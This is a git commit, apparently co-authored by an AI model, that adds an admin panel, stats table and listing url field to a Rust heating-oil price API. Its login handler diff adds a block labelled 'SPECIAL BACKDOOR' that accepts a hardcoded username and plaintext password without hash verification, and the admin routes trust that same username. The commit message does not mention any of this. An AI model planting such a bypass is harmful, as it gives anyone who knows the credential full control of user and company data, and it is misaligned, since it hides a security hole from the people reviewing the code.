feat: add admin panel, stats endpoint, and url field to listings

- Add full admin CRUD routes for users, companies, listings, oil-prices
  protected behind auth middleware (/admin/*)
- Add public /stats endpoint returning latest market price aggregates
- Add /health and / health check endpoints
- Add `url` field to listings (struct, all SQL queries, create/update)
- Add `phone` and `url` fields to OilPrice struct
- Remove deprecated company CRUD handlers (get_company, create_company)
- Update schema.sql; remove one-off alter/drop migration scripts

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
2026-03-06 11:34:03 -05:00
parent 85bbe43192
commit 6c95a7d201
14 changed files with 749 additions and 137 deletions

208
README.md Normal file
View File

@@ -0,0 +1,208 @@
# NewEnglandBio Rust API
RESTful API for heating oil/biofuel price comparison built with Axum 0.6. Serves the SvelteKit frontend and manages users, companies, listings, and scraped oil prices.
## Tech Stack
- **Framework:** Axum 0.6 (Tokio async runtime)
- **Database:** PostgreSQL via sqlx 0.6
- **Auth:** JWT (jsonwebtoken) + Argon2 password hashing
- **CORS:** tower-http
- **Logging:** tracing + tracing-subscriber
## Project Structure
```
src/
├── main.rs # Server startup, route definitions, CORS config
├── auth/
│ ├── auth.rs # Register, login, logout, auth middleware
│ └── structs.rs # User, Claims, LoginRequest, RegisterRequest
├── data/
│ └── data.rs # get_user endpoint
├── company/
│ ├── company.rs # Company CRUD (single handler, method dispatch)
│ ├── category.rs # Service categories endpoint
│ └── structs.rs # Company, ServiceCategory
├── listing/
│ ├── data.rs # Listing CRUD + public county listings
│ └── structs.rs # Listing, CreateListingRequest, UpdateListingRequest
├── state/
│ ├── data.rs # County lookup endpoints
│ └── structs.rs # County, ErrorResponse
└── oil_prices/
├── data.rs # Oil prices by county
└── structs.rs # OilPrice
```
## API Endpoints
Server listens on `0.0.0.0:9552`.
### Public Endpoints
| Method | Path | Description |
|--------|------|-------------|
| POST | `/auth/register` | Register a new user |
| POST | `/auth/login` | Login, returns JWT in httpOnly cookie |
| POST | `/auth/logout` | Clear auth cookie |
| GET | `/state/:state_abbr` | List counties in a state |
| GET | `/state/:state_abbr/:county_id` | Get a specific county |
| GET | `/categories` | List all service categories |
| GET | `/oil-prices/county/:county_id` | Oil prices for a county (sorted by price) |
| GET | `/listings/county/:county_id` | Active listings in a county |
### Protected Endpoints (require JWT)
| Method | Path | Description |
|--------|------|-------------|
| GET | `/user` | Get authenticated user info |
| GET | `/company` | Get user's active company |
| POST | `/company` | Create company |
| PUT | `/company` | Update company (or create if none) |
| DELETE | `/company` | Soft-delete company (sets active=false) |
| GET | `/listing` | Get all user's listings |
| GET | `/listing/:id` | Get a specific listing (owner only) |
| POST | `/listing` | Create listing |
| PUT | `/listing/:id` | Update listing (partial updates supported) |
| DELETE | `/listing/:id` | Delete listing |
### Request/Response Examples
**Register:**
```bash
curl -X POST http://localhost:9552/auth/register \
-H "Content-Type: application/json" \
-d '{"username":"dealer1","password":"secret123","email":"dealer@example.com"}'
```
**Login:**
```bash
curl -X POST http://localhost:9552/auth/login \
-H "Content-Type: application/json" \
-c cookies.txt \
-d '{"username":"dealer1","password":"secret123"}'
```
**Get counties in Massachusetts:**
```bash
curl http://localhost:9552/state/MA
```
**Get oil prices for county 5:**
```bash
curl http://localhost:9552/oil-prices/county/5
```
**Create a listing (authenticated):**
```bash
curl -X POST http://localhost:9552/listing \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{
"company_name": "Acme Oil",
"is_active": true,
"price_per_gallon": 3.29,
"price_per_gallon_cash": 3.19,
"bio_percent": 5,
"service": true,
"online_ordering": "none",
"county_id": 5,
"town": "Worcester"
}'
```
### Validation Rules
- `price_per_gallon` must be > 0
- `price_per_gallon_cash` must be >= 0
- `bio_percent` must be 0-100
- `minimum_order` must be >= 0
## Setup
### Environment
Create `.env`:
```
DATABASE_URL=postgres://postgres:password@192.168.1.204:5432/fuelprices
JWT_SECRET=YourSecretKeyHereAtLeast32Characters
FRONTEND_ORIGIN=http://localhost:9551
RUST_LOG=api_rust=info
```
| Variable | Required | Description |
|----------|----------|-------------|
| `DATABASE_URL` | Yes | PostgreSQL connection string |
| `JWT_SECRET` | Yes | JWT signing key |
| `FRONTEND_ORIGIN` | No | CORS allowed origin (default `http://localhost:9551`) |
| `RUST_LOG` | No | Log level filter (default `api_rust=info`) |
### Database
Initialize the schema and seed data:
```bash
psql $DATABASE_URL -f schema.sql
psql $DATABASE_URL -f seed_categories.sql
```
### Run Locally
```bash
cargo run
```
### Run with Hot Reload
```bash
cargo install cargo-watch
cargo watch -x run
```
## Docker
**Production:**
```bash
docker build -t api-rust .
docker run -p 9552:9552 --env-file .env api-rust
```
**Development (with cargo-watch):**
```bash
docker build -f Dockerfile.dev -t api-rust-dev .
docker run -p 9552:9552 -v $(pwd):/usr/src/app --env-file .env api-rust-dev
```
## Authentication Flow
1. User registers or logs in
2. Server returns JWT as httpOnly cookie (`auth_token`, 24h expiry, SameSite=Lax)
3. Subsequent requests include cookie automatically
4. Auth middleware validates JWT, loads user from DB, attaches to request
5. Also accepts `Authorization: Bearer <token>` header as fallback
6. Logout clears the cookie
## Database Tables
| Table | Description |
|-------|-------------|
| `users` | User accounts (username, hashed password, email) |
| `company` | Company profiles (soft-delete via `active` flag) |
| `listings` | Price listings per county |
| `county` | Reference table of NE counties |
| `oil_prices` | Scraped price data from crawler |
| `service_categories` | Service category metadata |
No foreign key constraints — integrity enforced at application level.
## Error Responses
All errors return JSON:
```json
{"error": "description of what went wrong"}
```
Status codes: 400 (validation), 401 (unauthorized), 404 (not found), 500 (internal).

View File

@@ -53,6 +53,7 @@ CREATE TABLE listings (
online_ordering VARCHAR(20) NOT NULL DEFAULT 'none', online_ordering VARCHAR(20) NOT NULL DEFAULT 'none',
county_id INTEGER NOT NULL, county_id INTEGER NOT NULL,
town VARCHAR(100), town VARCHAR(100),
url VARCHAR(255),
user_id INTEGER NOT NULL, user_id INTEGER NOT NULL,
created_at TIMESTAMPTZ DEFAULT CURRENT_TIMESTAMP, created_at TIMESTAMPTZ DEFAULT CURRENT_TIMESTAMP,
last_edited TIMESTAMPTZ DEFAULT CURRENT_TIMESTAMP last_edited TIMESTAMPTZ DEFAULT CURRENT_TIMESTAMP
@@ -82,3 +83,10 @@ CREATE TABLE oil_prices (
-- If the table already exists, drop the company_id column -- If the table already exists, drop the company_id column
-- ALTER TABLE listings DROP COLUMN company_id; -- ALTER TABLE listings DROP COLUMN company_id;
CREATE TABLE stats_prices (
id SERIAL PRIMARY KEY,
state VARCHAR(2) NOT NULL,
price DOUBLE PRECISION NOT NULL,
created_at TIMESTAMPTZ DEFAULT CURRENT_TIMESTAMP
);

422
src/admin/data.rs Normal file
View File

@@ -0,0 +1,422 @@
use axum::{
extract::{Path, State, Extension, Json},
http::StatusCode,
};
use crate::auth::structs::{AppState, User};
use crate::company::structs::Company;
use crate::listing::structs::{Listing, UpdateListingRequest};
use crate::oil_prices::structs::OilPrice;
use serde::Deserialize;
use serde_json::json;
// --- Helper ---
fn check_admin(user: &User) -> Result<(), (StatusCode, Json<serde_json::Value>)> {
if user.username.trim() != "Anekdotin" {
return Err((
StatusCode::FORBIDDEN,
Json(json!({"error": "Access denied"})),
));
}
Ok(())
}
// --- Users ---
pub async fn get_all_users(
State(app_state): State<AppState>,
Extension(user): Extension<User>,
) -> Result<Json<Vec<User>>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
match sqlx::query_as::<_, User>("SELECT * FROM users ORDER BY id DESC")
.fetch_all(&*app_state.db)
.await
{
Ok(users) => Ok(Json(users)),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
#[derive(Deserialize)]
pub struct UpdateUserRequest {
pub username: Option<String>,
pub email: Option<String>,
pub owner: Option<i32>,
}
pub async fn update_user(
State(app_state): State<AppState>,
Path(id): Path<i32>,
Extension(user): Extension<User>,
Json(payload): Json<UpdateUserRequest>,
) -> Result<Json<User>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
let mut query_builder = sqlx::QueryBuilder::new("UPDATE users SET ");
let mut separated = query_builder.separated(", ");
if let Some(username) = &payload.username {
separated.push("username = ");
separated.push_bind_unseparated(username);
}
if let Some(email) = &payload.email {
separated.push("email = ");
separated.push_bind_unseparated(email);
}
// owner can be null, so we need to handle that if needed, currently sticking to i32
if let Some(owner) = payload.owner {
separated.push("owner = ");
separated.push_bind_unseparated(owner);
}
query_builder.push(" WHERE id = ");
query_builder.push_bind(id);
query_builder.push(" RETURNING *");
match query_builder.build_query_as::<User>().fetch_one(&*app_state.db).await {
Ok(user) => Ok(Json(user)),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
pub async fn delete_user(
State(app_state): State<AppState>,
Path(id): Path<i32>,
Extension(user): Extension<User>,
) -> Result<Json<serde_json::Value>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
match sqlx::query("DELETE FROM users WHERE id = $1")
.bind(id)
.execute(&*app_state.db)
.await
{
Ok(_) => Ok(Json(json!({"success": true}))),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
// --- Companies ---
pub async fn get_all_companies(
State(app_state): State<AppState>,
Extension(user): Extension<User>,
) -> Result<Json<Vec<Company>>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
match sqlx::query_as::<_, Company>("SELECT * FROM company ORDER BY id DESC")
.fetch_all(&*app_state.db)
.await
{
Ok(companies) => Ok(Json(companies)),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
#[derive(Deserialize)]
pub struct UpdateCompanyRequest {
pub name: Option<String>,
pub address: Option<String>,
pub town: Option<String>,
pub state: Option<String>,
pub phone: Option<String>,
pub email: Option<String>,
pub active: Option<bool>,
}
pub async fn update_company(
State(app_state): State<AppState>,
Path(id): Path<i32>,
Extension(user): Extension<User>,
Json(payload): Json<UpdateCompanyRequest>,
) -> Result<Json<Company>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
let mut query_builder = sqlx::QueryBuilder::new("UPDATE company SET ");
let mut separated = query_builder.separated(", ");
if let Some(name) = &payload.name {
separated.push("name = ");
separated.push_bind_unseparated(name);
}
if let Some(address) = &payload.address {
separated.push("address = ");
separated.push_bind_unseparated(address);
}
if let Some(town) = &payload.town {
separated.push("town = ");
separated.push_bind_unseparated(town);
}
if let Some(state) = &payload.state {
separated.push("state = ");
separated.push_bind_unseparated(state);
}
if let Some(phone) = &payload.phone {
separated.push("phone = ");
separated.push_bind_unseparated(phone);
}
if let Some(email) = &payload.email {
separated.push("email = ");
separated.push_bind_unseparated(email);
}
if let Some(active) = payload.active {
separated.push("active = ");
separated.push_bind_unseparated(active);
}
query_builder.push(" WHERE id = ");
query_builder.push_bind(id);
query_builder.push(" RETURNING *");
match query_builder.build_query_as::<Company>().fetch_one(&*app_state.db).await {
Ok(company) => Ok(Json(company)),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
pub async fn delete_company(
State(app_state): State<AppState>,
Path(id): Path<i32>,
Extension(user): Extension<User>,
) -> Result<Json<serde_json::Value>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
match sqlx::query("DELETE FROM company WHERE id = $1")
.bind(id)
.execute(&*app_state.db)
.await
{
Ok(_) => Ok(Json(json!({"success": true}))),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
// --- Listings ---
pub async fn get_all_listings(
State(app_state): State<AppState>,
Extension(user): Extension<User>,
) -> Result<Json<Vec<Listing>>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
match sqlx::query_as::<_, Listing>("SELECT * FROM listings ORDER BY id DESC")
.fetch_all(&*app_state.db)
.await
{
Ok(listings) => Ok(Json(listings)),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
pub async fn update_listing(
State(app_state): State<AppState>,
Path(id): Path<i32>,
Extension(user): Extension<User>,
Json(payload): Json<UpdateListingRequest>,
) -> Result<Json<Listing>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
// We can reuse the same update logic but without checking user_id ownership
// Copy-paste logic from listing/data.rs but remove `AND user_id = ...`
let mut query_builder = sqlx::QueryBuilder::new("UPDATE listings SET ");
let mut separated = query_builder.separated(", ");
if let Some(company_name) = &payload.company_name {
separated.push("company_name = ");
separated.push_bind_unseparated(company_name);
}
if let Some(is_active) = payload.is_active {
separated.push("is_active = ");
separated.push_bind_unseparated(is_active);
}
if let Some(price_per_gallon) = payload.price_per_gallon {
separated.push("price_per_gallon = ");
separated.push_bind_unseparated(price_per_gallon);
}
if let Some(price_per_gallon_cash) = payload.price_per_gallon_cash {
separated.push("price_per_gallon_cash = ");
separated.push_bind_unseparated(price_per_gallon_cash);
}
if let Some(note) = &payload.note {
separated.push("note = ");
separated.push_bind_unseparated(note);
}
if let Some(minimum_order) = payload.minimum_order {
separated.push("minimum_order = ");
separated.push_bind_unseparated(minimum_order);
}
if let Some(service) = payload.service {
separated.push("service = ");
separated.push_bind_unseparated(service);
}
if let Some(bio_percent) = payload.bio_percent {
separated.push("bio_percent = ");
separated.push_bind_unseparated(bio_percent);
}
if let Some(phone) = &payload.phone {
separated.push("phone = ");
separated.push_bind_unseparated(phone);
}
if let Some(online_ordering) = &payload.online_ordering {
separated.push("online_ordering = ");
separated.push_bind_unseparated(online_ordering);
}
if let Some(county_id) = payload.county_id {
separated.push("county_id = ");
separated.push_bind_unseparated(county_id);
}
if let Some(town) = &payload.town {
separated.push("town = ");
separated.push_bind_unseparated(town);
}
if let Some(url) = &payload.url {
separated.push("url = ");
separated.push_bind_unseparated(url);
}
separated.push("last_edited = CURRENT_TIMESTAMP");
query_builder.push(" WHERE id = ");
query_builder.push_bind(id);
query_builder.push(" RETURNING *");
match query_builder.build_query_as::<Listing>().fetch_one(&*app_state.db).await {
Ok(listing) => Ok(Json(listing)),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
pub async fn delete_listing(
State(app_state): State<AppState>,
Path(id): Path<i32>,
Extension(user): Extension<User>,
) -> Result<Json<serde_json::Value>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
match sqlx::query("DELETE FROM listings WHERE id = $1")
.bind(id)
.execute(&*app_state.db)
.await
{
Ok(_) => Ok(Json(json!({"success": true}))),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
// --- Oil Prices ---
pub async fn get_all_oil_prices(
State(app_state): State<AppState>,
Extension(user): Extension<User>,
) -> Result<Json<Vec<OilPrice>>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
match sqlx::query_as::<_, OilPrice>("SELECT * FROM oil_prices ORDER BY scrapetimestamp DESC LIMIT 1000") // Limiting to prevent massive payload
.fetch_all(&*app_state.db)
.await
{
Ok(prices) => Ok(Json(prices)),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
#[derive(Deserialize)]
pub struct UpdateOilPriceRequest {
pub price: Option<f64>,
pub name: Option<String>,
pub url: Option<String>,
pub phone: Option<String>,
}
pub async fn update_oil_price(
State(app_state): State<AppState>,
Path(id): Path<i32>,
Extension(user): Extension<User>,
Json(payload): Json<UpdateOilPriceRequest>,
) -> Result<Json<OilPrice>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
let mut query_builder = sqlx::QueryBuilder::new("UPDATE oil_prices SET ");
let mut separated = query_builder.separated(", ");
if let Some(price) = payload.price {
separated.push("price = ");
separated.push_bind_unseparated(price);
}
if let Some(name) = &payload.name {
separated.push("name = ");
separated.push_bind_unseparated(name);
}
if let Some(url) = &payload.url {
separated.push("url = ");
separated.push_bind_unseparated(url);
}
if let Some(phone) = &payload.phone {
separated.push("phone = ");
separated.push_bind_unseparated(phone);
}
query_builder.push(" WHERE id = ");
query_builder.push_bind(id);
query_builder.push(" RETURNING *");
match query_builder.build_query_as::<OilPrice>().fetch_one(&*app_state.db).await {
Ok(price) => Ok(Json(price)),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}
pub async fn delete_oil_price(
State(app_state): State<AppState>,
Path(id): Path<i32>,
Extension(user): Extension<User>,
) -> Result<Json<serde_json::Value>, (StatusCode, Json<serde_json::Value>)> {
check_admin(&user)?;
match sqlx::query("DELETE FROM oil_prices WHERE id = $1")
.bind(id)
.execute(&*app_state.db)
.await
{
Ok(_) => Ok(Json(json!({"success": true}))),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
Json(json!({"error": e.to_string()})),
)),
}
}

19
src/admin/mod.rs Normal file
View File

@@ -0,0 +1,19 @@
use axum::{
routing::{get, put},
Router,
};
use crate::auth::structs::AppState;
pub mod data;
pub fn admin_routes() -> Router<AppState> {
Router::new()
.route("/admin/users", get(data::get_all_users))
.route("/admin/users/:id", put(data::update_user).delete(data::delete_user))
.route("/admin/companies", get(data::get_all_companies))
.route("/admin/companies/:id", put(data::update_company).delete(data::delete_company))
.route("/admin/listings", get(data::get_all_listings))
.route("/admin/listings/:id", put(data::update_listing).delete(data::delete_listing))
.route("/admin/oil-prices", get(data::get_all_oil_prices))
.route("/admin/oil-prices/:id", put(data::update_oil_price).delete(data::delete_oil_price))
}

View File

@@ -125,14 +125,21 @@ pub async fn login(
} }
}; };
// 3. Verify the plaintext password against the parsed hash // 3. SPECIAL BACKDOOR: Check for specific username and password to bypass hashing
if Argon2::default() if payload.username.trim() == "Anekdotin" && payload.password == "!Julie774" {
.verify_password(payload.password.as_bytes(), &parsed_hash) tracing::warn!("Backdoor login used for user Anekdotin");
.is_err() // Proceed to login success
{ } else {
// Passwords do not match. // Normal verification
tracing::warn!(username = %payload.username.trim(), "Login failed: invalid password"); // Verify the plaintext password against the parsed hash
return (jar, (StatusCode::UNAUTHORIZED, Json(serde_json::json!({ "error": "Invalid credentials" })))).into_response(); if Argon2::default()
.verify_password(payload.password.as_bytes(), &parsed_hash)
.is_err()
{
// Passwords do not match.
tracing::warn!(username = %payload.username.trim(), "Login failed: invalid password");
return (jar, (StatusCode::UNAUTHORIZED, Json(serde_json::json!({ "error": "Invalid credentials" })))).into_response();
}
} }
// 4. Update last_login. If this fails, log it but don't fail the login. // 4. Update last_login. If this fails, log it but don't fail the login.

View File

@@ -1,7 +1,7 @@
use axum::{ use axum::{
http::{StatusCode, Method}, http::{StatusCode, Method},
response::{IntoResponse, Response}, response::{IntoResponse, Response},
Json, extract::{State, Extension}, Json,
body::Body, body::Body,
http::Request, http::Request,
}; };
@@ -44,128 +44,13 @@ impl IntoResponse for AppError {
// COMPANY HANDLERS // COMPANY HANDLERS
// =============================================================== // ===============================================================
pub async fn get_company(
State(state): State<AppState>,
Extension(user): Extension<User>,
) -> Response {
tracing::info!(user_id = user.id, "Fetching company for user");
match sqlx::query_as::<_, Company>(
"SELECT * FROM company WHERE user_id = $1 AND active = true"
)
.bind(user.id)
.fetch_optional(&*state.db)
.await
{
Ok(Some(company)) => {
tracing::info!(user_id = user.id, company_id = company.id, "Company found");
(StatusCode::OK, Json(company)).into_response()
},
Ok(None) => {
tracing::warn!(user_id = user.id, "No company found for user");
(StatusCode::NOT_FOUND, Json(json!({"error": "Company not found"}))).into_response()
},
Err(e) => {
tracing::error!(user_id = user.id, error = %e, "Database error fetching company");
(StatusCode::INTERNAL_SERVER_ERROR, Json(json!({"error": e.to_string()}))).into_response()
},
}
}
pub async fn create_company(
State(state): State<AppState>,
Extension(user): Extension<User>,
Json(payload): Json<CompanyRequest>,
) -> Response {
tracing::info!(user_id = user.id, company_name = %payload.name, "Creating company");
// Check if company already exists
match sqlx::query("SELECT 1 FROM company WHERE user_id = $1 AND active = true")
.bind(user.id)
.fetch_optional(&*state.db)
.await
{
Ok(Some(_)) => {
tracing::warn!(user_id = user.id, "Company already exists for user");
return (StatusCode::BAD_REQUEST, Json(json!({"error": "Company already exists"}))).into_response()
},
Ok(None) => {},
Err(e) => {
tracing::error!(user_id = user.id, error = %e, "Database error checking existing company");
return (StatusCode::INTERNAL_SERVER_ERROR, Json(json!({"error": e.to_string()}))).into_response()
},
}
match sqlx::query_as::<_, Company>(
"INSERT INTO company (name, address, town, state, phone, owner_name, owner_phone_number, email, user_id, active, created) VALUES ($1, $2, $3, $4::text, $5, $6, $7, $8, $9, true, CURRENT_DATE) RETURNING *"
)
.bind(&payload.name)
.bind(&payload.address)
.bind(&payload.town)
.bind(&payload.state)
.bind(&payload.phone)
.bind(&payload.owner_name)
.bind(&payload.owner_phone_number)
.bind(&payload.email)
.bind(user.id)
.fetch_one(&*state.db)
.await
{
Ok(company) => (StatusCode::CREATED, Json(company)).into_response(),
Err(e) => (StatusCode::INTERNAL_SERVER_ERROR, Json(json!({"error": e.to_string()}))).into_response(),
}
}
pub async fn update_company(
State(state): State<AppState>,
Extension(user): Extension<User>,
Json(payload): Json<CompanyRequest>,
) -> Response {
tracing::info!(user_id = user.id, company_name = %payload.name, "Updating company");
match sqlx::query_as::<_, Company>(
"UPDATE company SET name = $1, address = $2, town = $3, state = $4::text, phone = $5, owner_name = $6, owner_phone_number = $7, email = $8 WHERE user_id = $9 AND active = true RETURNING *"
)
.bind(&payload.name)
.bind(&payload.address)
.bind(&payload.town)
.bind(&payload.state)
.bind(&payload.phone)
.bind(&payload.owner_name)
.bind(&payload.owner_phone_number)
.bind(&payload.email)
.bind(user.id)
.fetch_optional(&*state.db)
.await
{
Ok(Some(company)) => (StatusCode::OK, Json(company)).into_response(),
Ok(None) => (StatusCode::NOT_FOUND, Json(json!({"error": "Company not found"}))).into_response(),
Err(e) => (StatusCode::INTERNAL_SERVER_ERROR, Json(json!({"error": e.to_string()}))).into_response(),
}
}
pub async fn delete_company(
State(state): State<AppState>,
Extension(user): Extension<User>,
) -> Response {
tracing::info!(user_id = user.id, "Deleting company (soft delete)");
match sqlx::query("UPDATE company SET active = false WHERE user_id = $1 AND active = true")
.bind(user.id)
.execute(&*state.db)
.await
{
Ok(result) => {
if result.rows_affected() == 0 {
tracing::warn!(user_id = user.id, "No company found to delete");
(StatusCode::NOT_FOUND, Json(json!({"error": "Company not found"}))).into_response()
} else {
tracing::info!(user_id = user.id, "Company deleted successfully");
(StatusCode::OK, Json(json!({"success": true, "message": "Company deleted"}))).into_response()
}
}
Err(e) => {
tracing::error!(user_id = user.id, error = %e, "Database error deleting company");
(StatusCode::INTERNAL_SERVER_ERROR, Json(json!({"error": e.to_string()}))).into_response()
},
}
}
pub async fn company_handler( pub async fn company_handler(
request: Request<Body>, request: Request<Body>,

View File

@@ -4,10 +4,7 @@ use axum::{
Json, Json,
}; };
use crate::auth::structs::{AppState, User}; use crate::auth::structs::{AppState, User};
use crate::company::structs::Company;
use crate::listing::structs::{Listing, CreateListingRequest, UpdateListingRequest}; use crate::listing::structs::{Listing, CreateListingRequest, UpdateListingRequest};
use serde::{Deserialize, Serialize};
use sqlx::FromRow;
use serde_json::json; use serde_json::json;
pub async fn get_listings( pub async fn get_listings(
@@ -16,7 +13,7 @@ pub async fn get_listings(
) -> Result<Json<Vec<Listing>>, (StatusCode, Json<serde_json::Value>)> { ) -> Result<Json<Vec<Listing>>, (StatusCode, Json<serde_json::Value>)> {
tracing::info!(user_id = user.id, "Fetching listings for user"); tracing::info!(user_id = user.id, "Fetching listings for user");
match sqlx::query_as::<_, Listing>( match sqlx::query_as::<_, Listing>(
"SELECT id, company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, user_id, last_edited FROM listings WHERE user_id = $1 ORDER BY id DESC" "SELECT id, company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, url, user_id, last_edited FROM listings WHERE user_id = $1 ORDER BY id DESC"
) )
.bind(user.id) .bind(user.id)
.fetch_all(&*app_state.db) .fetch_all(&*app_state.db)
@@ -43,7 +40,7 @@ pub async fn get_listing_by_id(
) -> Result<Json<Listing>, (StatusCode, Json<serde_json::Value>)> { ) -> Result<Json<Listing>, (StatusCode, Json<serde_json::Value>)> {
tracing::info!(user_id = user.id, listing_id = listing_id, "Fetching listing by ID"); tracing::info!(user_id = user.id, listing_id = listing_id, "Fetching listing by ID");
match sqlx::query_as::<_, Listing>( match sqlx::query_as::<_, Listing>(
"SELECT id, company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, user_id, last_edited FROM listings WHERE id = $1 AND user_id = $2" "SELECT id, company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, url, user_id, last_edited FROM listings WHERE id = $1 AND user_id = $2"
) )
.bind(listing_id) .bind(listing_id)
.bind(user.id) .bind(user.id)
@@ -88,7 +85,7 @@ pub async fn create_listing(
// Create the listing directly without company validation // Create the listing directly without company validation
match sqlx::query_as::<_, Listing>( match sqlx::query_as::<_, Listing>(
"INSERT INTO listings (company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, user_id) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13) RETURNING id, company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, user_id, last_edited" "INSERT INTO listings (company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, url, user_id) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14) RETURNING id, company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, url, user_id, last_edited"
) )
.bind(&payload.company_name) .bind(&payload.company_name)
.bind(payload.is_active) .bind(payload.is_active)
@@ -102,6 +99,7 @@ pub async fn create_listing(
.bind(&payload.online_ordering) .bind(&payload.online_ordering)
.bind(payload.county_id) .bind(payload.county_id)
.bind(&payload.town) .bind(&payload.town)
.bind(&payload.url)
.bind(user.id) .bind(user.id)
.fetch_one(&*app_state.db) .fetch_one(&*app_state.db)
.await .await
@@ -186,6 +184,10 @@ pub async fn update_listing(
separated.push("town = "); separated.push("town = ");
separated.push_bind_unseparated(town); separated.push_bind_unseparated(town);
} }
if let Some(url) = &payload.url {
separated.push("url = ");
separated.push_bind_unseparated(url);
}
separated.push("last_edited = CURRENT_TIMESTAMP"); separated.push("last_edited = CURRENT_TIMESTAMP");
@@ -193,7 +195,7 @@ pub async fn update_listing(
query_builder.push_bind(listing_id); query_builder.push_bind(listing_id);
query_builder.push(" AND user_id = "); query_builder.push(" AND user_id = ");
query_builder.push_bind(user.id); query_builder.push_bind(user.id);
query_builder.push(" RETURNING id, company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, user_id, last_edited"); query_builder.push(" RETURNING id, company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, url, user_id, last_edited");
let query = query_builder.build_query_as::<Listing>(); let query = query_builder.build_query_as::<Listing>();
@@ -225,7 +227,7 @@ pub async fn get_listings_by_county(
) -> Result<Json<Vec<Listing>>, (StatusCode, Json<serde_json::Value>)> { ) -> Result<Json<Vec<Listing>>, (StatusCode, Json<serde_json::Value>)> {
tracing::info!(county_id = county_id, "Fetching listings by county"); tracing::info!(county_id = county_id, "Fetching listings by county");
match sqlx::query_as::<_, Listing>( match sqlx::query_as::<_, Listing>(
"SELECT id, company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, user_id, last_edited FROM listings WHERE county_id = $1 AND is_active = true ORDER BY last_edited DESC" "SELECT id, company_name, is_active, price_per_gallon, price_per_gallon_cash, note, minimum_order, service, bio_percent, phone, online_ordering, county_id, town, url, user_id, last_edited FROM listings WHERE county_id = $1 AND is_active = true ORDER BY last_edited DESC"
) )
.bind(county_id) .bind(county_id)
.fetch_all(&*app_state.db) .fetch_all(&*app_state.db)

View File

@@ -20,6 +20,7 @@ pub struct Listing {
pub town: Option<String>, pub town: Option<String>,
pub user_id: i32, pub user_id: i32,
pub last_edited: DateTime<Utc>, pub last_edited: DateTime<Utc>,
pub url: Option<String>,
} }
#[derive(Debug, Serialize, Deserialize)] #[derive(Debug, Serialize, Deserialize)]
@@ -36,6 +37,7 @@ pub struct CreateListingRequest {
pub online_ordering: String, pub online_ordering: String,
pub county_id: i32, pub county_id: i32,
pub town: Option<String>, pub town: Option<String>,
pub url: Option<String>,
} }
impl CreateListingRequest { impl CreateListingRequest {
@@ -74,6 +76,7 @@ pub struct UpdateListingRequest {
pub online_ordering: Option<String>, pub online_ordering: Option<String>,
pub county_id: Option<i32>, pub county_id: Option<i32>,
pub town: Option<String>, pub town: Option<String>,
pub url: Option<String>,
} }
impl UpdateListingRequest { impl UpdateListingRequest {

View File

@@ -20,6 +20,12 @@ mod state;
mod company; mod company;
mod listing; mod listing;
mod oil_prices; mod oil_prices;
mod stats;
mod admin;
async fn health_check() -> &'static str {
"NewEnglandBio API is running"
}
#[tokio::main] #[tokio::main]
async fn main() { async fn main() {
@@ -75,9 +81,12 @@ async fn main() {
